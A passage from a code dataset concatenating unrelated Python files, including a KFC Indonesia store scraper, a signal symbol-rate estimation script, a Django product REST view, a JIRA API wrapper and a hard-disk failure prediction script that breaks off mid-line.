\"\"\r\n Country = \"\"\r\n Postcode = \"\"\r\n Latitude = \"\"\r\n Longitude = \"\"\r\n\r\nlistOBJ = []\r\nobj = OBJ()\r\nlistOBJ.append(obj)\r\n\r\nfor i in range(1, 123+1):\r\n print(i)\r\n # URL = 'https://agents.helloworld.com.au/search-location/' + str(postcode_sheet_obj.cell(row=i, column=1).value)\r\n URL = 'https://kfcku.com/api/stores?page='+str(i)\r\n res = requests.get(URL)\r\n # res = requests.get(URL)\r\n # print(res.text)\r\n if res.status_code == 200:\r\n output = res.text\r\n print(output)\r\n\r\n if len(output['data']) > 0:\r\n for store in output['data']:\r\n\r\n try:\r\n\r\n obj = OBJ()\r\n # print(store['ContactInfo']['FullAddress'])\r\n obj.Title = str(store['name'])\r\n obj.Address = str(store['address'])\r\n obj.Latitude = str(store['long'])\r\n obj.Longitude = str(store['lat'])\r\n\r\n print(obj.Title + \"|\" + str(obj.Latitude) + \" | \" + str(\r\n obj.Longitude))\r\n\r\n result = False\r\n\r\n if len(listOBJ) > 0:\r\n for i in range(len(listOBJ)):\r\n # print(str(obj.Title) + \" \" + str(listOBJ[z].Title))\r\n if (str(\r\n obj.Latitude) == str(listOBJ[i].Latitude) and str(obj.Longitude) == str(\r\n listOBJ[i].Longitude)):\r\n result = True\r\n break\r\n\r\n if result == False:\r\n listOBJ.append(obj)\r\n except:\r\n continue\r\n\r\nj=0\r\nprint(len(listOBJ))\r\nfor z in range(len(listOBJ)):\r\n j = j + 1\r\n print(listOBJ[z].Title +\" \"+ str(listOBJ[z].Latitude) +\" \"+ str(listOBJ[z].Longitude))\r\n sheet_obj_w.cell(row = j, column = 1).value = str(listOBJ[z].Title)\r\n sheet_obj_w.cell(row = j, column = 2).value = str(listOBJ[z].Address)\r\n # sheet_obj_w.cell(row = j, column = 3).value = str(listOBJ[z].Suburb)\r\n # sheet_obj_w.cell(row = j, column = 4).value = str(listOBJ[z].State)\r\n # sheet_obj_w.cell(row = j, column = 5).value = str(listOBJ[z].Country)\r\n # sheet_obj_w.cell(row = j, column = 6).value = str(listOBJ[z].Postcode)\r\n sheet_obj_w.cell(row = j, column = 7).value = str(str(listOBJ[z].Latitude))\r\n sheet_obj_w.cell(row = j, column = 8).value = str(str(listOBJ[z].Longitude))\r\n # wb_obj_w.save(\"C:/Python/Documents/KFC_Indonesia.xlsx\")\r\n","sub_path":"KFC (Indonesia).py","file_name":"KFC (Indonesia).py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"325842165","text":"from scipy.signal import chirp, sweep_poly, spectrogram, welch\nfrom scipy.special import factorial\nimport scipy.signal as signal\nimport numpy as np\nimport random\n\nimport rftool.radar as radar\nimport rftool.utility as util\nimport rftool.estimation as estimate\nimport rftool.communications as comm\nfrom utility import *\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nimport pickle\n#import os\n\nDebug = False\n\nFs = np.intc(802e3) # Receiver sample rate. #! Must be the same as the signals\nT = np.float(6e-3) # Pulse duration. #! Must be the same as the signals\nnIterations = 500\npacketSize = 32\n\n# Load alpha window function a-priori\npath = '../jobs/'\nfilename = 'SCD_GMM'\ndestination = path + filename + '.pkl'\nwith open(destination,'rb') as f:\n alphaWindow = pickle.load(f)\n\n# Plot results\nimport matplotlib.pyplot as plt\nplt.style.use('masterThesis')\nimport matplotlib\nimagePath = '../figures/symRateEst/'\n\nif Debug==False:\n mpl.use(\"pgf\")\n mpl.rcParams.update({\n \"pgf.texsystem\": \"lualatex\",\n 'font.family': 'serif',\n 'text.usetex': True,\n 'pgf.rcfonts': False,\n })\n\n\n# Compare the method of \ndef symbolrateAutocorr(sig, Fs, **kwargs):\n Rxx = np.abs(signal.correlate(sig, sig, mode='full', method='fft'))\n f0 = estimate.f0MleTime(Rxx=Rxx, f=Fs, peaks=5)\n return f0\n\n# Wrapper for estimation function \ndef symbolRateEstimator(sig, Fs, aPrioriFCenter=False, **kwargs):\n # Ensure that the true center frequency is only used in the intended case\n if aPrioriFCenter==False:\n kwargs.pop('fCenterPriori') # removes fCenterPriori from kwargs library\n\n SCD, f, alpha = estimate.FAM(sig, Fs = Fs, plot=False, method='conj', scale='linear', **kwargs)\n fCenter, R_symb = estimate.cyclicEstimator( SCD, f, alpha, **kwargs)\n return R_symb\n\n# Configure estimators\nestimators = []\nestimators.append(estimator('Autocorrelation MLE', symbolrateAutocorr, Fs=Fs))\nestimators.append(estimator('Cyclic MLE Method', symbolRateEstimator, Fs=Fs))\nestimators.append(estimator('Cyclic MLE Method, Full BW', symbolRateEstimator, Fs=Fs, bandLimited=False))\nestimators.append(estimator('Cyclic MLE A-Priori $f_c$', symbolRateEstimator, aPrioriFCenter=True, Fs=Fs))\nestimators.append(estimator('Cyclic MLE A-Priori $f_c$, $\\Omega$', symbolRateEstimator, aPrioriFCenter=True, Fs=Fs, alphaWindow=alphaWindow, fWindow='triangle', fWindowWidthHertz=50e3))\n\n# Create analysis object\nm_analysis = analysis('Symbol_Rate_Estimation', estimators=estimators, lossFcn='MAE')\n\n# Generate Eb/N0 range for statistics gathering.\nEbN0Start = 40\nEbN0End = 10\n\nm_analysis.axis.displayName = '$E_b/N_0$ [dB]'\nm_analysis.axis.displayVector = np.linspace(EbN0End, EbN0Start, EbN0Start-EbN0End+1)\nm_analysis.axis.name = 'S/N [dB]'\nm_analysis.axis.vector = comm.EbN0toSNRdB(m_analysis.axis.displayVector, 2, Fs, 1/T)\nm_analysis.analyze(iterations=nIterations, parameter='symbolRate', packetSize=packetSize, debug=Debug)\n\n# Write to binary file\npath = '../jobs/'\njobname = 'SRateJob'\ndestination = path + jobname + str(m_analysis.iterations) + '.pkl'\n# Save job to binary file\nwith open(destination,'wb') as f:\n pickle.dump(m_analysis, f)\n\niterations = nIterations #! Must be same as job file\n\"\"\"\n# Read from binary file\npath = '../jobs/'\njobname = 'SRateJob'\ndestination = path + jobname + str(iterations) + '.pkl'\nwith open(destination,'rb') as f:\n m_analysis = pickle.load(f)\"\"\"\n\nfig, ax = m_analysis.plotResults(pgf=not Debug, scale='semilogy', plotYlabel='MAE [Hz]')\nax.legend(loc='upper right')\n#fig.set_figheight(2.5)\nplt.tight_layout()\n\n\nif Debug == False:\n fileName = m_analysis.name +'_'+ str(iterations) + '_iterations' # str(m_analysis.iterations)\n plt.savefig(imagePath + fileName + '.png', bbox_inches='tight')\n plt.savefig(imagePath + fileName + '.pgf', bbox_inches='tight')\n\nplt.show()","sub_path":"ChirpAnalyzer/multiAnlayzeSymbolRate.py","file_name":"multiAnlayzeSymbolRate.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"246245616","text":"from classes.recruit_classes import *\nfrom classes.note_class import Note\n\n\nclass MagicView:\n def __init__(self):\n self.recruitable_talent = [Cadre()]\n self.recruitable_erelyk = [Cadre()]\n\n self.talent_cadres = [Cadre()]\n self.erelyk_cadres = [Cadre()]\n\n self.notes = [Note()]\n\n def encode(self):\n result = dict(self.__dict__)\n\n result['recruitable_talent'] = [cadre.encode() for cadre in self.recruitable_talent]\n result['recruitable_erelyk'] = [cadre.encode() for cadre in self.recruitable_erelyk]\n result['talent_cadres'] = [cadre.encode() for cadre in self.talent_cadres]\n result['erelyk_cadres'] = [cadre.encode() for cadre in self.erelyk_cadres]\n result['notes'] = [note.encode() for note in self.notes]\n\n\n return result\n\n def decode(self, code):\n self.__dict__ = dict(code)\n self.recruitable_talent = [Cadre().decode(cadre) for cadre in code['recruitable_talent']]\n self.recruitable_erelyk = [Cadre().decode(cadre) for cadre in code['recruitable_erelyk']]\n self.talent_cadres = [Cadre().decode(cadre) for cadre in code['talent_cadres']]\n self.erelyk_cadres = [Cadre().decode(cadre) for cadre in code['erelyk_cadres']]\n self.notes = [Note().decode(note) for note in code['notes']]\n\n return self\n\nclass Cadre(Recruit):\n def __init__(self):\n super(Cadre, self).__init__()\n self.level = 0\n self.art = \"None\" # Maybe enum ?\n\n def encode(self):\n return super(Cadre, self).encode()\n\n def decode(self, code):\n return super(Cadre, self).decode(code)\n","sub_path":"classes/magic_classes.py","file_name":"magic_classes.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"614275858","text":"from tkinter import filedialog\nfrom helpers import read_edf,save_pdf,read_wav,save_wav\nimport threading\nimport re\n\nclass File_Explorer():\n \"\"\"\n Show the native file dialog for opening and saving files.\n \"\"\"\n @staticmethod\n def save_file(root):\n \"\"\"\n Save a PDF file on another thread.\n \"\"\"\n filename = filedialog.asksaveasfilename(initialdir = \"/\",\n title = \"Save a File\",\n defaultextension=\"*.pdf\",\n filetypes = ((\"PDF files\",\n \"*.pdf\"),\n (\"WAV files\",\n \"*.wav\"),\n (\"all files\",\n \"*.*\"))) or \"\"\n if re.search(\".wav\\Z\",filename) is not None:\n threading.Thread(target=save_wav,args=(filename,root.signal[\"Fs\"],root.signal[\"samples\"])).run()\n elif re.search(\".pdf\\Z\",filename) is not None:\n threading.Thread(target=save_pdf,args=(filename,root.viewers[1].signal,root.viewers[1].time,root.viewers[1].equalized_samples)).run()\n else:\n return None\n\n\n @staticmethod\n def open_file(root):\n \"\"\"\n Read data from EDF file and generate a Fileupload event.\n \"\"\"\n filename = filedialog.askopenfilename(initialdir = \"/\",\n title = \"Select a File\",\n filetypes = ((\"EDF files\",\n \"*.edf*\"),\n (\"WAV files\",\n \"*.wav\"),\n (\"all files\",\n \"*.*\"))) or \"\"\n \n if re.search(\".wav\\Z\",filename) is not None:\n root.new_signal = read_wav(filename)\n root.event_generate(\"<>\")\n elif re.search(\".edf\\Z\",filename) is not None:\n root.new_signal = read_edf(filename)\n root.event_generate(\"<>\")\n else:\n return None","sub_path":"file_explorer.py","file_name":"file_explorer.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"464235679","text":"#!/usr/bin/python3\n\nimport sys\nfrom launchpadlib.launchpad import Launchpad\n\n\"\"\"\nPPAOWNER = sys.argv[1]\nPPA = sys.argv[2]\nversion = sys.argv[3]\narch = sys.argv[4]\n\"\"\"\n# version = \"xenial\"\n# arch = \"amd64\"\n# \"Pending\", \"Published\", \"Superseded\", \"Deleted\", \"Obsolete\"\n# status = 'Superseded'\n# status = \"Published\"\n# desired_dist_and_arch = 'https://api.launchpad.net/beta/ubuntu/' + version + '/' + arch\nsince = '2018-09-01'\nif len(sys.argv) > 1:\n since = sys.argv[1]\n\n\ndef produce(PPAOWNER, PPA):\n cachedir = \"~/.launchpadlib/cache/\"\n lp_ = Launchpad.login_anonymously('ppastats', 'production', cachedir)\n owner = lp_.people[PPAOWNER]\n for ppa in PPA:\n archive = owner.getPPAByName(name=ppa)\n for individualarchive in archive.getPublishedBinaries(created_since_date=since, ordered=False):\n # Optional filters\n # status=status\n # , distro_arch_series=desired_dist_and_arch\n # print individualarchive\n # if individualarchive.binary_package_name == 'kicad':\n downloads = individualarchive.getDailyDownloadTotals()\n for dt in downloads:\n # print dt\n # getDailyDownloadTotals())#getDownloadCount())\n short_version = individualarchive.binary_package_version\n short_version = short_version.split(\"+\")[0]\n short_version = short_version.split(\"-\")[0]\n\n print('\"' + PPAOWNER+\"/\"+ppa + '\",\"' + dt + '\",\"' + str(individualarchive.date_published) + '\",\"' + str(individualarchive.status) + '\",\"' + individualarchive.distro_arch_series.architecture_tag +\n '\",\"' + individualarchive.distro_arch_series.distroseries.name + '\",\"' + individualarchive.binary_package_name + '\",\"' + individualarchive.binary_package_version + '\",' + str(downloads[dt]) + ',\"'+short_version+'\"')\n# print individualarchive.getDailyDownloadTotals()\n\n\n#PPAOWNER = \"js-reynaud\"\n#PPA = [\"kicad-5\", \"ppa-kicad\", \"kicad-dev-nightly\", \"kicad-4\", \"kicad-5.1\"]\nprint(\"PPA,Date,Date published,Status,Arch,Ubuntu version,Package name,Package version,Download count,Short version\")\nproduce(\"js-reynaud\", [\"kicad-5\", \"ppa-kicad\", \"kicad-dev-nightly\", \"kicad-4\"])\nproduce(\"kicad\", [\"kicad-dev-nightly\", \"kicad-5.1-releases\", \"kicad-6.0-releases\", \"kicad-7.0-releases\", \"kicad-7.0-nightly\"])\n","sub_path":"stat.py","file_name":"stat.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"79368021","text":"__author__ = \"Narwhale\"\n\nfrom core import auth\n\n# user_data = {\n# 'account_id':None,\n# 'is_authenticated':False,\n# 'account_data':None\n# }\ndef interactive():\n '''\n 此函数为与客户的交互模块，打印选项供客户选择。\n :return:\n '''\n print('你好！')\n\n\n\ndef run():\n '''\n 这个函数主要执行运登录程序以及执行与客户的交互\n :return:\n '''\n select = '''\n--------选项---------\n 1.登录\n 2.注册\n '''\n print(select)\n user_select = input('请输入你的选择：')\n selsct_dict = {'1':'auth.acc_login()','2':'auth.acc_enroll()'}\n if user_select in selsct_dict:\n acc_data = eval(selsct_dict[user_select])\n if acc_data:\n interactive()\n else:\n print('超出选项')\n","sub_path":"编程/项目练习/ATM/core/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"63215145","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.2 (3180)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-armv6l/egg/barobo/demo/with_AutoConnect/setMotorPower2.py\n# Compiled at: 2014-09-16 14:39:13\nfrom barobo import Linkbot, Dongle\nimport time, sys, math\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('Usage: {0} [Linkbot Serial ID]'.format(sys.argv[0]))\n quit()\n serialID = sys.argv[1]\n dongle = Dongle()\n dongle.connect()\n linkbot = dongle.getLinkbot(serialID)\n for i in range(0, 1000, 1):\n linkbot.setBuzzerFrequency(int((math.sin(i / 100) + 1) * 1000))\n\n linkbot.stop()","sub_path":"pycfiles/PyBarobo-0.1.18-py3.2-linux-armv6l/setMotorPower2.cpython-32.py","file_name":"setMotorPower2.cpython-32.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"540549804","text":"import requests\nimport json\nfrom jira_exception_handler import JiraExceptionHandler\nfrom jira_logger import JiraLogger\n\nclass JiraIssue:\n \n def __init__(self, jira_instance):\n '''\n retrieves createMeta fields\n retrieves editMeta fields\n '''\n self._jira_instance = jira_instance\n self._base_url = self._jira_instance.url\n self._create_fields = self._create_meta()\n self._edit_fields = self._edit_meta()\n self._jira_logger = JiraLogger()\n self._exception_handler = JiraExceptionHandler()\n \n \n def _create_meta(self, project_ids=None, project_keys=None, issue_type_ids=None, issue_type_names=None):\n '''\n retrieves self._create_fields from /rest/api/2/issue/createmeta\n '''\n create_meta_url = '/rest/api/2/issue/createmeta'\n request_data = {}\n if project_ids:\n request_data['projectIds'] = project_ids\n if project_keys:\n request_data['projectKeys'] = project_keys\n if issue_type_ids:\n request_data['issuetypeIds'] = issue_type_ids\n if issue_type_names:\n request_data['issuetypeNames'] = issue_type_names\n resource_url = \"%s/%s\"%(self._base_url, create_meta_url)\n request_json = json.dumps(request_data)\n response = requests.get(resource_url, request_json)\n status = response.status_code\n text = response.text\n self._jira_logger.log(status, text, request_json)\n if status != 200:\n self._exception_handler.raise_exception(status, text, request_json) \n return response.json\n \n \n def _edit_meta(self, issue_key):\n '''\n retrieves self._create_fields from /rest/api/2/issue/createmeta\n '''\n edit_meta_url = '/rest/api/2/issue/editmeta'\n request_data = dict(issueIdOrKey=issue_key)\n resource_url = \"%s/%s\"%(self._base_url, edit_meta_url)\n request_json = json.dumps(request_data)\n response = requests.get(resource_url, request_json)\n status = response.status_code\n text = response.text\n self._jira_logger.log(status, text, request_json)\n if status != 200:\n self._exception_handler.raise_exception(status, text, request_json)\n return response.json\n \n\n \n \n","sub_path":"jira/jira_issue.py","file_name":"jira_issue.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"534595685","text":"import sys\nimport pygame\nfrom pygame.locals import QUIT\nimport random\n\npygame.init()\nWIDTH = 640\nHEIGHT = 480\nWSIZE = (WIDTH, HEIGHT)\nsurface = pygame.display.set_mode( WSIZE )\npygame.display.set_caption( 'Squash' )\nclock = pygame.time.Clock()\nFPS = 2\n\nRED = (255,0,0)\nGREEN = (0,255,0)\nBLUE = (0,0,255)\nYELLOW = (255,255,0)\nMAGENTA = (255,0,255)\nCYAN = (0,255,255)\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nCOLORS = [RED, GREEN, BLUE,\\\n YELLOW, CYAN, MAGENTA, WHITE, BLACK]\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n n = random.randint( 0, 7 )\n surface.fill( COLORS[n] )\n pygame.display.update()\n clock.tick( FPS )\n","sub_path":"book2/programs/python/pg02.py","file_name":"pg02.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"301628093","text":"import matplotlib.dates as mdates\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\nclass RainfallSeries:\r\n def __init__(self, db_tools):\r\n self._db_tools = db_tools\r\n\r\n def rainfall_serie(self, position):\r\n result = self._db_tools.select_all(\r\n \"SELECT read_dates.date_hour, precipitations.rainfall FROM public.read_dates, public.precipitations WHERE precipitations.read_date_id = read_dates.id AND precipitations.position_id = %s ORDER BY read_dates.date_hour ASC\",\r\n (position,))\r\n\r\n dates_series = []\r\n values_series = []\r\n for dt in result:\r\n dates_series.append(dt[0])\r\n values_series.append(dt[1])\r\n return dates_series, values_series\r\n\r\n def plot_graph(self, dates_series, values_series, r, c):\r\n plt.clf()\r\n plt.ylim((0, 1))\r\n plt.plot(dates_series, values_series, linewidth=1)\r\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%d-%m-%Y %H:%M'))\r\n # plt.gca().xaxis.set_major_locator(mdates.HourLocator())\r\n plt.xlabel('Data/Hora')\r\n plt.ylabel('Precipitacao')\r\n plt.title('Serie')\r\n plt.gcf().autofmt_xdate()\r\n plt.grid()\r\n # plt.show()\r\n plt.savefig(\"graficos/serie_\" + str(r) + \"X\" + str(c) + \".png\")\r\n\r\n def normalized(self, v):\r\n norm = np.linalg.norm(v, ord=1)\r\n if norm == 0:\r\n norm = np.finfo(v.dtype).eps\r\n return v / norm\r\n","sub_path":"rainfall_series.py","file_name":"rainfall_series.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"124926481","text":"import json\nfrom products.models import Category, Product\nfrom api.serializers import serialize_product_as_json\n\nfrom django.views.generic import View\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import get_list_or_404, get_object_or_404\n\n# complete the View below with all REST functionality\n\nclass ProductView(View):\n\n def get(self, *args, **kwargs):\n data = None\n\n product_id = kwargs.get('product_id')\n if product_id:\n product = get_object_or_404(Product, id=product_id)\n data = serialize_product_as_json(product)\n else:\n products = get_list_or_404(Product)\n data = [serialize_product_as_json(product) for product in products]\n\n return JsonResponse(data, status=200, safe=False)\n\n def post(self, *args, **kwargs):\n data = json.loads(self.request.body)\n category_id = data.get('category', None)\n category = get_object_or_404(Category, id=category_id)\n product = Product.objects.create(\n name=data.get('name'),\n sku=data.get('sku'),\n category=category,\n description=data.get('description'),\n price = data.get('price')\n )\n data = serialize_product_as_json(product)\n return JsonResponse(data, status=201, safe=False)\n\n def delete(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n product = get_object_or_404(Product, id=product_id)\n product.delete()\n data = {\"success\": True}\n return JsonResponse(data, status=204, safe=False)\n\n def patch(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n product = get_object_or_404(Product, id=product_id)\n data = json.loads(self.request.body)\n\n for field in ['name', 'category', 'sku', 'description', 'price', 'featured']:\n if not field in data:\n continue\n\n if field == 'category':\n data['category'] = get_object_or_404(Category, id=data.get('category'))\n\n setattr(product, field, data[field])\n product.save()\n\n data = serialize_product_as_json(product)\n return JsonResponse(data, status=200, safe=False)\n\n def put(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n product = get_object_or_404(Product, id=product_id)\n data = json.loads(self.request.body)\n\n for field in ['name', 'category', 'sku', 'description', 'price', 'featured']:\n if not field in data:\n return JsonResponse({'success': False}, status=404)\n\n if field == 'category':\n data['category'] = get_object_or_404(Category, id=data.get('category'))\n\n setattr(product, field, data[field])\n product.save()\n\n data = serialize_product_as_json(product)\n return JsonResponse(data, status=200, safe=False)\n","sub_path":"ecommerce/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"285159207","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 22 19:35:47 2019\n\n@author: masudulhasanmasudb\n\"\"\"\nimport time\nimport glob,random\nimport datetime\nimport os\nimport subprocess\nimport shlex\nimport gc\nimport pandas as pd\nimport collections\nimport numpy as np\nimport pandas as pd\n#import seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn import ensemble, metrics \nimport gc\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import metrics\nfrom imblearn.over_sampling import (RandomOverSampler, SMOTE, ADASYN)\nfrom collections import Counter\nimport sys, traceback\nimport threading\nimport datetime\n\n#disk_model_name = \"ST4000DM000\"\n#disk_model_name = \"ST8000DM002\"\n#disk_model_name = \"ST8000NM0055\"\ndisk_model_name = \"ST12000NM0007\"\n#disk_model_name = \"ST6000DX000\" //error\n#disk_model_name = \"ST10000NM0086\" //error\n\nnumber_of_days = 1\n\nmap_list = []\nindex_map ={}\ndate_dict={}\nnow = time.time()\ncount=-1\nfile_name=\"\"\nwith open(\"../map_2019.txt\",\"r\")as in_file:\n for line in in_file:\n if(len(line.strip())>0):\n if\".csv\" in line:\n if(count!=-1):\n map_list.append(date_dict)\n index_map[file_name]=count\n \n date_dict.clear()\n count+=1\n file_name=line.strip()\n else:\n parts = line.strip().split(\" \")\n date_dict[parts[0]] = int(float(parts[1]))\n \n# print(line)\n \n \nprint(count)\n\ndef perf_measure(y_actual, y_hat):\n TP = 0\n FP = 0\n TN = 0\n FN = 0\n\n for i in range(len(y_hat)): \n if y_actual[i]==y_hat[i]==1:\n TP += 1\n if y_hat[i]==1 and y_actual[i]!=y_hat[i]:\n FP += 1\n if y_actual[i]==y_hat[i]==0:\n TN += 1\n if y_hat[i]==0 and y_actual[i]!=y_hat[i]:\n FN += 1\n \n return(TP, FP, TN, FN)\n\ndef count_unique(keys):\n uniq_keys = np.unique(keys)\n bins = uniq_keys.searchsorted(keys)\n return uniq_keys, np.bincount(bins)\n\n\ndef get_lable(serial_number_list,date,year,month,day):\n global parent_folder_name\n next_day_label =[]\n \n now = datetime.datetime(year,month,day)\n next_day = (now + datetime.timedelta(days=1)).strftime('%Y-%m-%d')\n \n for x in serial_number_list:\n index = index_map[x+\".csv\"]\n current_value = map_list[index][date]\n \n next_day_value = map_list[index][next_day]\n \n if(current_value==next_day_value):\n next_day_label.append(0)\n else:\n next_day_label.append(1)\n \n return next_day_label\n \n\ndef Sort_Tuple(tup): \n return(sorted(tup, key = lambda x: x[0], reverse = True))\n\n\ndef calculate_accuracy(tuple_list, real_list):\n threshold_list = [0.5, 0.45, 0.4, 0.35, 0.3, 0.25, 0.2, 0.15, 0.1, 0.05, 0.04, 0.03, 0.02, 0.01, 0.0]\n \n final_string=\"\"\n \n for base_threshold in threshold_list:\n tp=0 \n tn=0\n fp=0\n fn=0\n for x in range(len(tuple_list)):\n item = tuple_list[x]\n prob = float(item[0])\n# print(prob)\n# print(real_list[x])\n# print(item[1])\n# print(base_threshold)\n if prob >= base_threshold:\n if real_list[x]==1:\n tp+=1\n else:\n fp+=1\n else:\n if item[1]== 1 and real_list[x]==1:\n tp+=1\n elif item[1]== 0 and real_list[x]==1:\n fn+=1\n \n elif item[1]== 0 and real_list[x]==0:\n tn+=1\n elif item[1]== 1 and real_list[x]==0:\n fp+=1\n \n# print(\"TP, FP, TN, FN = \"+str(tp)+\" \"+str(fp)+\" \"+str(tn)+\" \"+str(fn))\n\n final_string+=\"\\n\\nThreshold \"+str(base_threshold)+\"\\n\"\n final_string+=\"TP, FP, TN, FN = \"+str(tp)+\" \"+str(fp)+\" \"+str(tn)+\" \"+str(fn)+\"\\n\"\n try:\n final_string+=\"Recall: \"+ str(tp/(tp+fn))+\"\\n\"\n except:\n final_string+=\"Recall: \"+ str(0)+\"\\n\"\n try:\n final_string+=\"extra: \"+ str((fp/(tn+fp))*100)+\"\\n\"\n except:\n final_string+=\"extra: \"+ str(0)+\"\\n\"\n return final_string\n \nselected_models = ['ST4000DM000', 'ST8000DM002', 'ST12000NM0007', 'ST8000NM0055', 'ST3000DM001', 'ST4000DX000']\n\nfor disk_model_name in selected_models:\n\n hdd = pd.read_csv(\"../final_dataset/\"+str(number_of_days)+'/'+str(disk_model_name)+'.csv', header=None)\n #hdd = pd.read_csv(\"../dataset_1.csv\")\n hdd = hdd.drop(hdd.columns[6], axis=1)\n hdd = hdd.drop(hdd.columns[9], axis=1)\n hdd = hdd.drop(hdd.columns[14], axis=1)\n hdd = hdd.drop(hdd.columns[13], axis=1)\n hdd = hdd.dropna()\n# print(hdd.head())\n \n hdd_extra = pd.read_csv(\"../2019_files/\"+str(number_of_days)+'/'+str(disk_model_name)+'.csv', header=None)\n# print(hdd_extra.head())\n hdd_extra = hdd_extra.drop(hdd_extra.columns[6], axis=1)\n hdd_extra = hdd_extra.drop(hdd_extra.columns[9], axis=1)\n hdd_extra = hdd_extra.drop(hdd_extra.columns[14], axis=1)\n hdd_extra = hdd_extra.drop(hdd_extra.columns[13], axis=1)\n hdd_extra = hdd_extra.dropna()\n \n hdd_merged = [hdd, hdd_extra]\n result = pd.concat(hdd_merged)\n# print(result.head())\n #result = result.dropna()\n \n x = result.iloc[:, :-1].values\n y = result.iloc[:, -1].values\n \n from imblearn.under_sampling import RandomUnderSampler\n rus = RandomUnderSampler()\n \n del hdd\n del hdd_extra\n del hdd_merged\n del result\n gc.collect()\n \n X_resampled, y_resampled = rus.fit_resample(x, y)\n print(Counter(y_resampled))\n# X_train, X_test, y_train, y_test = train_test_split(X_resampled, y_resampled, test_size=0.1, random_state=42)\n clf=RandomForestClassifier()\n clf.fit(X_resampled,y_resampled)\n \n \n features = [1, 4, 5, 7, 9, 12, 188, 193, 194, 197, 198, 199]\n columns_specified = []\n for feature in features:\n \tcolumns_specified += [\"smart_{0}_raw\".format(feature)]\n \n stripe_size = 50\n \n output_file = open(\"../result_log/\"+str(disk_model_name)+\".txt\",\"a+\")\n ##\n year = 2019\n end_year = 2019\n while year<=end_year: \n for month in range(7,8):\n for day in range(1,16):\n if month<=9:\n month_str = \"0\"+str(month)\n else:\n month_str = str(month)\n \n if day<=9:\n day_str = \"0\"+str(day)\n else:\n day_str = str(day)\n \n correctDate = None\n try:\n newDate = datetime.datetime(year,month,day)\n correctDate = True\n except ValueError:\n correctDate = False\n if correctDate==True:\n try:\n date = str(year)+\"-\"+month_str+\"-\"+day_str\n print(date)\n df = pd.read_csv(\"../data/\"+date+\".csv\")\n # df = df.loc[df['model'] == 'ST4000DM000']\n df = df.loc[df['model'] == str(disk_model_name)]\n df = df.loc[df['serial_number'] !=\"S300XQ5W\"]\n df = df.loc[df['serial_number'] !=\"W0Q7D8BD\"]\n df = df.loc[df['serial_number'] !=\"W3004WHH\"]\n shape = df.shape\n if shape[0]!=0:\n total_disk_number = 0\n total_check_disk = 0\n wl = np.random.poisson(lam=1.123983e+05)\n print(wl)\n output_str =\"\"\n for numof_iter in range(wl):\n try:\n s = np.random.uniform(0,1)\n if s>.9:\n file_size = np.random.poisson(lam=1.165580e+07)\n else:\n file_size = np.random.poisson(lam=2.082032e+01)\n \n output_str += \"\\n\\nfile size \"+ str(file_size)+\"\\n\"\n disk_number = int((file_size/1024)/50)+1\n \n if(disk_number> shape[0]):\n selected_disk = df\n total_disk_number+=shape[0]\n else:\n selected_disk = df.sample(disk_number)\n total_disk_number+=disk_number\n \n serial_number = selected_disk.iloc[:, 1].values\n selected_disk = selected_disk[columns_specified]\n pred_value = clf.predict(selected_disk)\n preds = clf.predict_proba(selected_disk)\n predicted_pair_list = []\n \n for x in range(len(preds[:,1])):\n predicted_pair_list.append((preds[:,1][x],pred_value[x]))\n \n # print(predicted_pair_list)\n \n # s_list = Sort_Tuple(predicted_pair_list)\n \n output_str+=str(date)+\"\\n\"\n # output_str+=\"predicted_value: \\n\"\n # output_str+=str(pred_value) + \"\\n\" \n next_day_label = get_lable(serial_number,date,year,month,day)\n \n # output_str+=\"next day real value: \\n\"\n # output_str+=str(next_day_label)+\"\\n\"\n \n output_str+=calculate_accuracy(predicted_pair_list, next_day_label)\n # c_auuracy, checksum_disk = calculate_accuracy(s_list, next_day_label)\n # total_check_disk+=int(checksum_disk)\n # \n # output_str += \"self calculated accuracy \"+ c_auuracy+\"\\n\"\n # output_str += \"cheksem run on \"+ checksum_disk +\"\\n\"\n # TP, FP, 